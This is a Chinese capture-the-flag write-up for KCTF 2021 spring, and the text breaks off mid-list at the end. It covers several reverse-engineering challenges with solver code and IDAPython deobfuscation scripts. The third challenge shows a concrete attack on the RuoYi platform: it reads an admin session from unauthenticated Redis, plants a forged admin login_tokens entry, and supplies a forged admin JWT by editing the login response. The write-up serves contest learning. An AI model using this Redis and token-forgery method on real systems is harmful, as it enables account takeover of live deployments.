KCTF 2021春季赛
拿了件T恤 针不戳

签到题 拜师学艺

签到题很简单的啦,输入就这即可获得flag(bushi

首先我们丢进IDA里 很显然没壳

可以看见判断的代码奇奇怪怪的 定睛一看 很像是smc自解密

得嘞 那就跑起来看

可以看见走过去就已经变得不一样了 那么先对着 401266 按 u 再按 c

很好基本差不多识别出来了 再往下翻翻把漏掉的也按一下c 在跑到 main 的顶部按 p 识别为函数

然后终于可以 F5 啦

大概可以直接猜出逻辑 比较输入的前几位和最后一位

然后把输入经过 sub_401050 这个函数之后再与一串字符串比较

看到这个字符串相信做题比较多的第一感觉就是 base64算法,要不就是base64换表

那么进去验证验证猜想

ok 猜想正确 并且连表都没有换

1
2
3
import base64
print(base64.b64decode('ZmxhZ3trYW54dWV9'))
#flag{kanxue}

签到成功

第二题 南冥神功

老规矩丢进IDA F5

将 F5 的代码分析如下

用伪码简单说说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
map    = ...
table = ...
input_ = row_input()

for i in range(len(input_) - 1):
index = table.indexof(input[i])
step1 = 5 - (index + i) % 6
step2 = (index / 6 + i) % 6
run(step1)
run(step2)

for i in map:
if i == 0
print('GG')
exit(0)

print('you win!')

run的规则是

要走的地方不能是墙 x和y分别都不能越界

走了一步以后把当前位置标记为墙

step对应的路

1// 右移
4// 左移
2// 若y为奇数 则直下 若y为偶数 则往右下走
3// 若y为奇数 则往左下走 若y为偶数 则直下
5// 若y为奇数 则往左上走 若y为偶数 则直上
0// 若y为奇数 则直上 若y为偶数 则往右上走

与常规迷宫不同的是满足特定条件可以往斜着走

其实可以看出来这个题就是我们 qq 里面经常玩的一笔画

路径就是这样

转换成step就是

1234321234321101210050543450501210121234322321

step 就可以转换成 index 再转换成 table 中的字符 即 flag 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>

char table[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

int main()
{
char path[] = "1234321234321101210050543450501210121234322321";
for (int i = 0; path[i]; i += 2)
{
int step1 = path[i] - '0';
int step2 = path[i + 1] - '0';
for (int j = 0; j < 36; ++j)
if (step1 == 5 - (i / 2 + j) % 6 && step2 == (i / 2 + j / 6) % 6)
printf("%c", table[j]);
}//GJ0V4LA4VKEVQZSVCNGJ00N
}

验证成功

第三题 统一门派

这是一道web题

若依开源快速开发平台:https://gitee.com/y_project/RuoYi-Vue

端口开放了 Redis 的 6379,可以进行未授权访问:

keys * 会发现存在一个缓存了用户登录 token 的 login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333(其它的都是别的师傅在打这个环境的时候留下的。。),可以 get 一下:
get "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"

1
"{\"@type\":\"com.ruoyi.common.core.domain.model.LoginUser\",\"accountNonExpired\":true,\"accountNonLocked\":true,\"browser\":\"Chrome 9\",\"credentialsNonExpired\":true,\"enabled\":true,\"expireTime\":1690354819542,\"ipaddr\":\"117.175.182.182\",\"loginLocation\":\"XX XX\",\"loginTime\":1620354879542,\"os\":\"Windows 10\",\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"permissions\":Set[\"*:*:*\"],\"token\":\"07aaf192-ca8f-4db7-a6a2-ee81dbf07d58\",\"user\":{\"admin\":true,\"avatar\":\"\",\"createBy\":\"admin\",\"createTime\":1620186031000,\"delFlag\":\"0\",\"dept\":{\"children\":[],\"deptId\":103,\"deptName\":\"\xe7\xa0\x94\xe5\x8f\x91\xe9\x83\xa8\xe9\x97\xa8\",\"leader\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"orderNum\":\"1\",\"params\":{\"@type\":\"java.util.HashMap\"},\"parentId\":101,\"status\":\"0\"},\"deptId\":103,\"email\":\"ry@163.com\",\"loginDate\":1620186031000,\"loginIp\":\"127.0.0.1\",\"nickName\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"params\":{\"@type\":\"java.util.HashMap\"},\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"phonenumber\":\"15888888888\",\"remark\":\"\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roles\":[{\"admin\":true,\"dataScope\":\"1\",\"deptCheckStrictly\":false,\"flag\":false,\"menuCheckStrictly\":false,\"params\":{\"@type\":\"java.util.HashMap\"},\"roleId\":1,\"roleKey\":\"admin\",\"roleName\":\"\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roleSort\":\"1\",\"status\":\"0\"}],\"sex\":\"1\",\"status\":\"0\",\"userId\":1,\"userName\":\"admin\"},\"username\":\"admin\"}"

猜测 JWT 的密钥为默认密钥,可以伪造 Admin-Token 登录,直接上演示地址获取一下:http://vue.ruoyi.vip/index

JWTdecode

然后 set 一个新的 login_tokens:

1
set login_tokens:20c5d147-ca80-41ea-94cb-726c7b6c8b67 "{\"@type\":\"com.ruoyi.common.core.domain.model.LoginUser\",\"accountNonExpired\":true,\"accountNonLocked\":true,\"browser\":\"Chrome 9\",\"credentialsNonExpired\":true,\"enabled\":true,\"expireTime\":1690354819542,\"ipaddr\":\"117.175.182.182\",\"loginLocation\":\"XX XX\",\"loginTime\":1620354879542,\"os\":\"Windows 10\",\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"permissions\":Set[\"*:*:*\"],\"token\":\"20c5d147-ca80-41ea-94cb-726c7b6c8b67\",\"user\":{\"admin\":true,\"avatar\":\"\",\"createBy\":\"admin\",\"createTime\":1620186031000,\"delFlag\":\"0\",\"dept\":{\"children\":[],\"deptId\":103,\"deptName\":\"\xe7\xa0\x94\xe5\x8f\x91\xe9\x83\xa8\xe9\x97\xa8\",\"leader\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"orderNum\":\"1\",\"params\":{\"@type\":\"java.util.HashMap\"},\"parentId\":101,\"status\":\"0\"},\"deptId\":103,\"email\":\"ry@163.com\",\"loginDate\":1620186031000,\"loginIp\":\"127.0.0.1\",\"nickName\":\"\xe8\x8b\xa5\xe4\xbe\x9d\",\"params\":{\"@type\":\"java.util.HashMap\"},\"password\":\"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG\",\"phonenumber\":\"15888888888\",\"remark\":\"\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roles\":[{\"admin\":true,\"dataScope\":\"1\",\"deptCheckStrictly\":false,\"flag\":false,\"menuCheckStrictly\":false,\"params\":{\"@type\":\"java.util.HashMap\"},\"roleId\":1,\"roleKey\":\"admin\",\"roleName\":\"\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98\",\"roleSort\":\"1\",\"status\":\"0\"}],\"sex\":\"1\",\"status\":\"0\",\"userId\":1,\"userName\":\"admin\"},\"username\":\"admin\"}"

BP 改一下 response:

原来的是:

1
{"msg":"用户不存在/密码错误","code":500}

直接改为:

1
{"msg":"登录成功","code":200,"token":"eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjIwYzVkMTQ3LWNhODAtNDFlYS05NGNiLTcyNmM3YjZjOGI2NyJ9.MgnwzkItWS6VMr-iw-TrxVmT0JSbAOIF6eOuQP_x_-JSenAIs0KXJn5kEfUU-NTuMQN1vDWfVdcZfetO4QXQCQ"}

第四题 英雄救美

一丢进 IDA 可以发现符号表 暗示着这题有点难

猜测 sub_401240 和 sub_401000 为两个 check 函数

想要继续往下走 也就是 sub_401240 和 sub_401000 返回值都要为 1

先分析分析前面那个

可以看出这是一个 fill 函数

所做的只是将输入转换为在 table 中的 index

并提供给下一个 check 函数使用

值得注意的是传给 check 函数的参数

if ( len <= 64 && fill(len, input, v10) == 1 && check(v10, len - 9) == 1 )

len 少了 9

意味着有 9 位输入被截取掉了

而再仔细回头看 fill 函数可以发现

若输入的是数字 并不会储存起来

而是跳过并且更改所比较的 table 的起始 index

再看看 check 函数

着一大部分都是将 fill 的结果填入一个表中 若被填的那一位为0 则填入

按照一个循环里9次判断,总共9次循环 将map划分为这样

按照经验来看的话很像是数独 用在线网站解一下

image-20210525154624787

正好有解 应该还是唯一解

那这就出了撒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
unsigned char table[] = { 0x24, 0x42, 0x50, 0x56, 0x3A, 0x75, 0x62, 0x66, 0x59, 0x70, 0x7D, 0x5D, 0x44, 0x74, 0x4E, 0x3E, 0x61, 0x54, 0x5E, 0x4D, 0x47, 0x6D, 0x4A, 0x51, 0x23, 0x2A, 0x48, 0x72, 0x60, 0x4F, 0x27, 0x77, 0x6A, 0x69, 0x63, 0x30, 0x21, 0x68, 0x64, 0x79, 0x7B, 0x6F, 0x5A, 0x7A, 0x2D, 0x40, 0x6E, 0x2B, 0x3F, 0x26, 0x25, 0x73, 0x5F, 0x2F, 0x67, 0x3C, 0x65, 0x5B, 0x57, 0x29, 0x58, 0x55, 0x78, 0x52, 0x46, 0x53, 0x4C, 0x52, 0x41, 0x3B, 0x2E, 0x6C, 0x3D, 0x43, 0x45, 0x6B, 0x76, 0x4B, 0x2D, 0x28, 0x71};
const char* path = "5619238\n18345\n76219\n7846925\n4539786\n6928713\n28563\n61728\n1793452\n";

int main()
{
int x = 0;
int y = 0;
for (int i = 0; path[i]; ++i)
if (path[i] != '\n')
{
printf("%c", table[ y * 9 + path[i] - '0' - 1 ]);
x++;
}
else
{
printf("%d", 9 - x);
x = 0;
y++;
}
putchar('\n');
}

验证成功

:u$YBPf2pa]Dt4#QM^H4ic’j0`w2y{d-Zzo2%/n_s@+2<UW)e4AR;F.4=-qEkvC2

第五题 华山论剑

unidbg trace so文件的 java 工程代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
package com.kanxue.testbase;

import capstone.Capstone;
import com.github.unidbg.AndroidEmulator;
import com.github.unidbg.Emulator;
import com.github.unidbg.Module;
import com.github.unidbg.Symbol;
import com.github.unidbg.arm.ARM;
import com.github.unidbg.arm.HookStatus;
import com.github.unidbg.arm.context.Arm32RegisterContext;
import com.github.unidbg.arm.context.RegisterContext;
import com.github.unidbg.debugger.DebuggerType;
import com.github.unidbg.hook.HookContext;
import com.github.unidbg.hook.ReplaceCallback;
import com.github.unidbg.hook.hookzz.Dobby;
import com.github.unidbg.hook.hookzz.HookEntryInfo;
import com.github.unidbg.hook.hookzz.HookZz;
import com.github.unidbg.hook.hookzz.IHookZz;
import com.github.unidbg.hook.hookzz.InstrumentCallback;
import com.github.unidbg.hook.hookzz.WrapCallback;
import com.github.unidbg.hook.xhook.IxHook;
import com.github.unidbg.linux.android.AndroidARMEmulator;
import com.github.unidbg.linux.android.AndroidResolver;
import com.github.unidbg.linux.android.XHookImpl;
import com.github.unidbg.linux.android.dvm.DalvikModule;
import com.github.unidbg.linux.android.dvm.DvmClass;
import com.github.unidbg.linux.android.dvm.DvmObject;
import com.github.unidbg.linux.android.dvm.VM;
import com.github.unidbg.linux.android.dvm.array.ByteArray;
import com.github.unidbg.linux.android.dvm.StringObject;
import com.github.unidbg.linux.android.dvm.AbstractJni;
import com.github.unidbg.listener.TraceCodeListener;
import com.github.unidbg.memory.Memory;
import com.github.unidbg.utils.Inspector;
import com.sun.jna.Pointer;
import com.github.unidbg.arm.backend.CodeHook;
import com.github.unidbg.arm.backend.Backend;
import unicorn.ArmConst;
import unicorn.Unicorn;



import java.io.*;

public class MainActivity extends AbstractJni{
public static void main(String[] args) {
MainActivity mainActivity = new MainActivity();
mainActivity.stringFromJNI();
}

private final AndroidEmulator emulator;
private final VM vm;
private DvmClass cNative;
DalvikModule dm;



private MainActivity() {

emulator = new AndroidARMEmulator("aa");
Memory memory = emulator.getMemory();
// 设置 sdk版本 23
//LibraryResolver resolver = ;
memory.setLibraryResolver(new AndroidResolver(23));

//创建DalvikVM,可以载入apk,也可以为null
vm = emulator.createDalvikVM(null);
// 是否打印日志
vm.setVerbose(false);
vm.setJni(this);
//vm.setDvmClassFactory(new ProxyClassFactory());
// System.out.println(getPath());
// 载入要执行的 so
dm = vm.loadLibrary(new File(getPath() + "/kanxue/libhello-jni.so"), false);
dm.callJNI_OnLoad(emulator);

}

private void stringFromJNI() {

// Jni调用的类
cNative = vm.resolveClass("com/example/hellojni/HelloJni");
final StringBuilder stringBuilder = new StringBuilder();
// Module module = dm.getModule();
// emulator.traceCode(module.base, module.base + module.size, new TraceCodeListener() {
// @Override
// public void onInstruction(Emulator<?> emulator, long address, Capstone.CsInsn insn) {
// StringBuilder sb = new StringBuilder();
// sb.append("==== Trace");
// sb.append(ARM.assembleDetail(emulator, insn, address, false));
// sb.append('\n');
// //sb.append(emulator.getBackend().reg_read(1).toString());
// //emulator.getContext().
// String i0 = String.format("R0=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_R0 ).intValue());
// String i1 = String.format("R1=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_R1 ).intValue());;
// String i2 = String.format("R2=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_R2 ).intValue());;
// String i3 = String.format("R3=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_R3 ).intValue());;
// String i4 = String.format("R4=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_R4 ).intValue());;
// String i5 = String.format("R5=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_R5 ).intValue());;
// String i6 = String.format("R6=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_R6 ).intValue());;
// String i7 = String.format("R7=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_R7 ).intValue());;
// String i8 = String.format("R8=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_R8 ).intValue());;
// String i9 = String.format("R9=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_R9 ).intValue());;
// String i10 = String.format("R10=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_R10).intValue());;
// String i11 = String.format("R11=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_R11).intValue());;
// String i12 = String.format("R12=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_R12).intValue());;
// String i13 = String.format("SP=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_SP).intValue());;
// String i14 = String.format("LR=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_LR).intValue());;
// String i15 = String.format("PC=%08X", emulator.getBackend().reg_read(ArmConst.UC_ARM_REG_PC).intValue());;
// sb.append(
// i0 +" "+
// i1 +" "+
// i2 +" "+
// i3 +" "+
// i4 +" "+
// i5 +" "+
// i6 +" "+
// i7 +" "+
// i8 +" "+
// i9 +" "+
// i10+" "+
// i11+" "+
// i12+" "+
// i13+" "+
// i14+" "+
// i15
// );
// //emulator.getBackend().mem_read()
// sb.append('\n');
// stringBuilder.append(sb.toString());
// }
// });


StringObject strRc;

String[] hexs={"0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"};
while(true)
{
StringBuilder sb = new StringBuilder();
for(int i = 0; i <24;i++)
{
int rd = (int)(Math.random() * 16);
sb.append(hexs[rd]);
}
// System.out.println(sb.toString());
strRc = cNative.callStaticJniMethodObject(
emulator,
"stringFromJNI(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;",
new StringObject(vm, "KCTF"),
new StringObject(vm, sb.toString())
);

// System.out.println("call stringFromJNI rc = " + strRc.getValue());

if(!strRc.getValue().equals("输入错误"))
{
System.out.println("恭喜成功:" + sb.toString());
break;
}
}







//EncryptUtilsJni encryptUtilsJni = new EncryptUtilsJni(soFilePath, classPath);
//// 输出getGameKey方法调用结果
//System.err.println(encryptUtilsJni.myJni(methodSign));
//encryptUtilsJni.destroy();
//name:ed8b9244350d3644
//searial:7C9815255BFE832D3F93140B
//System.out.println("call stringFromJNI rc = " + strRc.getValue());

// File file = new File("C:\\Users\\KuCha\\Desktop\\_trace6.txt");
// try {
// FileWriter fileWriter = new FileWriter(file);
// fileWriter.write(stringBuilder.toString());
// fileWriter.flush();
// fileWriter.close();
// } catch (IOException e) {
// e.printStackTrace();
// }

}

public String getPath()
{
String path = this.getClass().getProtectionDomain().getCodeSource().getLocation().getPath();
if(System.getProperty("os.name").contains("dows"))
{
path = path.substring(1,path.length());
}
if(path.contains("jar"))
{
// System.out.println("jar = " + path);
path = path.substring(0,path.lastIndexOf("."));
return path.substring(0,path.lastIndexOf("/"));
}

// System.out.println(path);
// path.replace("target/classes/", "");
return path.replace("/target/test-classes/", "");
}
}

第六题 寻回宝剑

这题开始做的时候顶着混淆硬做的 后来发现这个混淆还挺少的 尝试去一下混淆 锻炼一下自己的python能力

0x0 破障

这题被混淆得很难看

IDA 一进去 就可以看见 start函数的混淆 这种混淆很容易去掉

这里我使用的是 IDApython 去掉的这个混淆 原理是汇编的特征码

0x00 patch one

利用特征码定位混淆头部 在从头部按照一定偏移取出用来计算跳转位置的值

比如这里要先从 call $+5 执行后的 offset 取出 base

然后再从 xor rax,9BA38 取出 xored

跳转位置即用 base ^ xored 算出 再转成汇编字节码写入混淆头部

最后把其他未执行的混淆部分的指令 nop 掉

虽然 xor 的数值不同 造成特征码也不一样

不过没关系 写成模糊搜索就行了(后面才发现有个 idc.find_binary 可以直接用 不过写都写了2333

写成脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def search(address,table):
for i in range(len(table)):
if table[i] != '?':
if ida_bytes.get_byte(start+i) == table[i]:
if i == len(table) - 1:
return 1
else:
return 0

def getshell(start):
jmpst = start + 8
xored = ida_bytes.get_dword(start+11)
ret = jmpst ^ xored
asmret = ret - (start + 5)
shell=[''] * 5 + (len(table) - 5) * [0x90]
shell[0]=0xe9
for i in range(4):
shell[i+1] = (asmret & (0xff << i*8)) >> i * 8
return shell

def fkret():
start = 0x140000000
end = 0x1400FA698
count = 0
while start <= end:
if search(start,table) == 1:
#print ('found at ' + str(hex(start)))
shell = getshell(start)
mypatch(start,shell)
start += len(table) - 1
count += 1
start += 1

print('fkret count='+str(count))

def mypatch(address,shell):
for ch in shell:
ida_bytes.patch_byte(address,ch)
address += 1

table =[0x50,0x50,0x9c,0xe8,0x00,0x00,0x00,0x00,0x58,0x48,0x35,'?','?','?','?',0x48,0x89,0x44,0x24,0x10,0x9d,0x58,0xc3]

fkret()

fkret count=34213

0x01 patch two and three

保存以后再继续看 发现还是不好看 很多跳转

用 IDA trace 看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
push    rbx                     	
jmp loc_1400C446D
pop rbx
jmp sub_14003F5A7
push rdx
push rdx
pop rdx
pop rdx
push rcx
jmp loc_14001EE1F
push rdx
pop rdx
push rbx
pop rbx
pop rcx
jmp sub_140071DE0
sub rsp, 28h
jmp loc_1400B5E68
push rax
jmp loc_1400904F3
push rdx
push rdx
pop rdx
pop rdx
push rax
jmp loc_140081972
push rcx
pop rcx
push rbx
pop rbx
pushfq
jmp loc_14007FBCE
push rbx
pop rbx
push rax
push rax
pushfq
call $+5
pop rax
xor rax, 6665h
mov [rsp+58h+var_48], rax
popfq
pop rax
jmp sub_140079DBD
push rcx
pop rcx
push rdx
pop rdx
pop rax
jmp sub_1400C9B65
push rbx
pop rbx
add rax, 36F74h
jmp loc_1400E169F
push rcx
push rdx
pop rdx
pop rcx
mov [rsp+arg_8], rax
jmp loc_14002BE91
push rcx
pop rcx
popfq
jmp loc_1400E2622
push rbx
pop rbx
pop rax
jmp sub_1400F8E1D
push rcx
push rbx
pop rbx
pop rcx
retn

这里就已经包含了两种混淆

一种是简单的 push reg && pop reg 以及这种混淆的嵌套 例如 push push pop pop

但这都还算好 问题就在于push pop 中间添加了 jmp 使得之前使用的汇编特征码的方法失效

另一种跟第一种差不多 不过嵌套了一层 另一个问题也是中间加了 jmp

手动去掉jmp 再去掉没用的push pop 可以看见这种混淆大概长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
push    rax                     	
push rax
pushfq
push rax
push rax
pushfq
call $+5
pop rax
xor rax, 6665h
mov [rsp+10h], rax
popfq
pop rax
pop rax
add rax, 36F74h
mov [rsp+10h], rax
popfq
pop rax
retn

特征还蛮明显的噢

接下来就是写脚本

但是这个脚本咋写呢 手动的情况下是先去掉 jmp

但是如果直接在程序里面把 jmp nop掉肯定是不行的 影响了程序流程的正常执行

那就在判断的时候把 jmp 忽略掉咯 也就是暂且先做下一步 去掉push pop

若是要人来判断 会怎么做这一步呢

是不是先找到一句pop 然后返回去找push

再比较两者操作的寄存器是否相同

而要实现这一点 其实就相当于写模拟执行

要执行的话 肯定不止执行一句

而如果要执行多句 肯定需要知道当前指令的长度 然后才能够跳到下一句执行

那先写一个 getlen 用于获取当前指令长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def getlen(offset):
p_op_len = {
"pop" : 1,
"push" : 1,
"popfq" : 1,
"pushfq" : 1,
"nop" : 1,
"retn" : 1,
}
p_asm = idc.GetDisasm(offset)
p_op = p_asm.split(' ')[0]
p_len = 1
if not(p_op in p_op_len):
while p_asm == idc.GetDisasm(offset + p_len):
p_len += 1
return p_len

这个 getlen 的原理呢 是一个指令如果已经被识别

GetDisasm 传的参如果不超过这一句的字节码 就一直会返回同一句汇编

用这个原理就需要特别掠过 1 字节的汇编指令

因为如果下一字节的汇编的指令与这一句的相同

就会误认为这一句指令的长度为 2

这种情况在这个程序里尤其多且不能够误判

比如两句push rax 误判的话栈都不平了

返回到上一步

之前说 ‘先找到一句pop 然后返回去找push’

这在模拟执行里面是很麻烦的

因为如果只根据反汇编 要去倒着找 似乎只能够把所有的步骤记录下来

那么把思路换一下

遇见 push 的时候 把操作的 reg 以及当前的 rip 储存起来

在下一次遇见 pop 的时候检查 reg 与上次 push 的是否相同

这样就可以完美解决如果上一句是 push reg 下一句 是 pop reg 的情况了

但是要是遇见嵌套的 push pop 一次是没法完美解决的

不过解决方法也很简单 多执行几次就行了

还要解决一下中间的 jmp

我开始想用 从反汇编中截取字符串 当作十六进制

比如 jmp loc_1400C446D 直接把 1400C446D 截取出来赋值给 rip 指针

但是后面发现有的 jmp 反汇编成 jmp xxx+xx 的形式 于是决定还是用硬编码来计算跳转地址

在运行过程中还发现有的与寻常的字节码不一样

例如 48 FF 25 19 68 F1 FF jmp cs:TerminateProcess

这种肯定不能真的计算到跳转地址去 还是直接掠过比较好

还有要注意正负的计算方式不一样

1
2
3
4
5
6
7
8
9
10
11
12
def calcjmp(offset):
__asm = idc.GetDisasm(offset)
if ida_bytes.get_byte(offset) == 0xE9:
st = offset
f = ida_bytes.get_dword(st + 1) & 0x80000000
if f == 0x80000000:
st = st - (0x100000000 - ida_bytes.get_dword(st + 1)) + 5
else:
st = st + ida_bytes.get_dword(st + 1) + 5
else:
st = offset + getlen(offset)
return st

有了上面的铺垫 可以写去push pop 的混淆了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
def fuckpush(offset):
count = 0
pat_count = 0
debug = 0
while count < 5:
st = offset
last = ''
rip_push = []
reg_push = []

while True:
flag = 0
__asm = idc.GetDisasm(st)
if debug == 1:
print(__asm)
op_len = getlen(st)

if __asm == 'retn':
count += 1
break

op = __asm.split(' ')[0]
reg = __asm.split(' ')[-1]

if op == 'push':
rip_push.append(st)
reg_push.append(reg)
last = 'push'
flag = 1

elif op == 'pop':
if last == 'push':
if reg == reg_push[-1]:
if debug == 1:
print("patch " + str(hex(rip_push[-1])) + " + " + str(hex(st)))
ida_bytes.patch_byte(rip_push[-1],0x90)
ida_bytes.patch_byte(st,0x90)
pat_count += 1
flag = 0

if op == 'jmp':
st = calcjmp(st)
else:
if __asm != 'nop':
if flag == 0:
last = ''
st += op_len

print("fuck " + str(pat_count) + " pairs of 'push pop'")
return pat_count

去掉了 push pop 之后 同样是比较特征之后 nop 相应代码并修改执行流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
def fuckret(offset,debug=0):
table = ['push','push','pushfq','push','push','pushfq','call','pop','xor','mov','popfq','pop','pop','add','mov','popfq','pop','retn']
st = offset
fkcnt = 0
fkpus = 0
fkpus += fuckpush(st)
while True:
__asm = idc.GetDisasm(st)
if debug == 1:
if __asm != 'nop':
print("out : " + str(hex(st)) ,end='\t')
print(__asm)

op_len = getlen(st)
op = __asm.split(' ')[0]

if op == 'push':
if debug == 1:
print('')
asmrip = []
lastjmp = 0
op_cnt = 0
st_in = st
while True:
__asm = idc.GetDisasm(st)
if debug == 1:
if __asm != 'nop':
print("inn : " + str(hex(st)) ,end='\t')
print(__asm)

op_len = getlen(st)
op = __asm.split(' ')[0]

if op == 'jmp':
lastjmp = st
st = calcjmp(st)
elif op == 'nop':
st += 1
elif op == table[op_cnt]:
asmrip.append(st)
st += op_len
op_cnt += 1
else:
st = st_in + 1
break

if op_cnt == 18:
if ida_bytes.get_byte(lastjmp) != 0xE9:
st = st_in + 1
break
if debug == 1:
print("rip : ",end='')
for sb in asmrip:
print(str(hex(sb)) + ',', end='')
print('')

calladdr = asmrip[6] #getshell
xored = ida_bytes.get_dword(asmrip[8] + 2)
added = ida_bytes.get_dword(asmrip[13] + 2)
if added > 0x7fffffff:
added = -(0x100000000 - added)
jmp_addr = ( (calladdr + 5) ^ xored ) + added
if lastjmp > jmp_addr:
asmret = 0xFFFFFFFF - (lastjmp + 5 - jmp_addr) +1
else:
asmret = jmp_addr - (lastjmp + 5)
shell = [''] * 5
shell[0] = 0xe9
for j in range(4):
shell[j+1] = (asmret & (0xff << j*8)) >> j * 8

for killd in asmrip: #clear rubbish
kil_op_len = getlen(killd)
for kil_i in range(kil_op_len):
ida_bytes.patch_byte( killd + kil_i, 0x90)
kil_i += 1

if debug == 1:
print('from ' + str(hex(asmrip[0])) + ' to ' + str(hex(asmrip[-1])) + ' be patched')
print('from ' + str(hex(lastjmp)) + ' jmp to ' + str(hex(jmp_addr)))
mypatch(lastjmp,shell)#patch jmp
fkcnt += 1
st = lastjmp

if debug == 1:
print('\n')
fkpus += fuckpush(st)
break

elif op == 'jmp':
st = calcjmp(st)
elif op == 'retn':
print("fuck " + str(fkcnt) + " pairs of 'pop ret'")
return fkcnt + fkpus
else:
st += op_len

不过我写的逻辑是直到不能够处理的 retn 就停下来

所以只能够先 trace 一遍有混淆的

再写个脚本把 retn 下一行的代码的地址提取出来(大部分都可以这样解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import os, time, sys, re
file = open("./trace1.txt",encoding="utf8")
key = "ret"
flag = 0
sb = []
for line in file.readlines():

if flag == 1:
ssb = int(line.split('|')[1].strip(),16)
if ssb < 0x200000000:
sb.append(ssb)
flag = 0
continue
if key in line:
flag = 1
file.close()

for i in sb:
print(str(hex(i)),end=',')

后面一边 trace 一边 patch 不过我直接把我 patch 完的所有有效地址写上吧 可以省掉大家很多复现的时间

1
2
3
4
5
6
7
8
fucklist=[0x14004085a,0x1400224c8,0x1400424a2,0x1400dfcb1,0x14001206c,0x140019e2e,0x14001f509,0x14007a881,0x140097094,0x140026507,0x1400c07b3,0x1400a17bf,0x1400eed90,0x140041d1f,0x140049ec5,0x140068125,0x14008874d,0x14003d3a8,0x1400ba55e,0x1400b4dc9,0x14009480a,0x1400d1602,0x1400db842,0x14008a584,0x14007cfa7,0x140035884,0x14000f9e9,0x1400e63a4,0x1400c3492,0x1400143c9,0x1400e1d72,0x14009e7f0,0x140032c3c,0x140033e50,0x14009881b,0x1400308b6,0x1400beea3,0x14004460b,0x1400bcb75,0x1400b0cdc,0x14005edb0,0x14007de2e,0x140086a9f,0x1400f575b,0x140017f67,0x14008e5cd,0x140030dea,0x1400adcb7,0x1400857c4,0x1400025b9,0x1400b6283,0x1400ac98b,0x1400d22ff,0x14004e3ca,0x140099671,0x140099677,0x14000391a,0x14007c539,0x1400bb3c7,0x14008f046,0x1400a978f,0x14009b70f,0x1400a6b74,0x140045f2e,0x1400